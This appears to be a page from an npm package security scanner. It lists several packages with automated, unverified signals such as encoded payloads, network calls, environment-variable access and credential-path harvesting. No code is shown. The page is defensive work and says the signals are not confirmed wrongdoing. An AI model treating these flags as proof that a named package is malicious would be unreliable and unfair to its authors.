  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/index.cjs:177 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.cjs:3 (+2 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/index.cjs:177 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Local web UI for the pi coding agent — one directory per workspace, in the shell of deepseek-harness
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/server/build/approval.js:11 (+9 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/web/dist/assets/index-DkchWDku.js:2 (+3 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Invisible Unicode Steganography / Bidi Override' found in package/web/dist/assets/less-B1dDrJ26.js:1

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: AXI-compliant wrapper around the GA4 and Google Tag Manager APIs - TOON output, cached property/container defaults, diffed GTM writes, exit codes you can gate on
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/src/auth.js:67 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/src/auth.js:13 (+1 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Provider Credentials (GCP, Azure, DigitalOcean)' found in package/dist/src/help.js:34 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: OGC map services: streaming Capabilities parsing, normalization, and a TTL cache
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/lib/index.js:193
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/lib/index.js:40

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Pair AI coding clients with Memorify (MCP gateway) — device-flow pairing, no secrets pasted into chats
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/bridge.js:23 (+2 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/clients.js:154
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/clients.js:99 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest Marcelino Sandroni — 🪝
Package purpose: Cria um projeto pronto para agentes de IA com Spec-Driven Development: regras SDD + template Next.js 16 + design system.
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/SKILLS/check-coverage/check-coverage.mjs:27 (+2 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/lib/constants.mjs:44 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest Jesper Andersson — 🪝 🌐
Package purpose: TypeScript client library for the Vesta protocol
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/connection.js:411 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/signing.js:33 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/signing.js:33 (+1 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/signing.js:33 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest Toby Godat — 🪝 🌐
Package purpose: Shows what your coding agent is doing on Fiada's map of your codebase: a tool hook and an MCP server for Claude Code, Cursor and Codex.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/cli.js:864
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/cli.js:205
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cli.js:5
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Bulk Environment Harvesting' found in package/dist/cli.js:5

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
60 4d — — —
Unverified Signal
— npm latest Jaltech — 🪝 🌐
Package purpose: Keycloak provider (OIDC discovery + JWKS + UMA) for @jaltech/nestjs-auth-core.
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/services/KeycloakInstance.js:74
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/utils/parseToken.js:9
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/utils/parseToken.js:9

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

LINK COPIED TO CLIPBOARD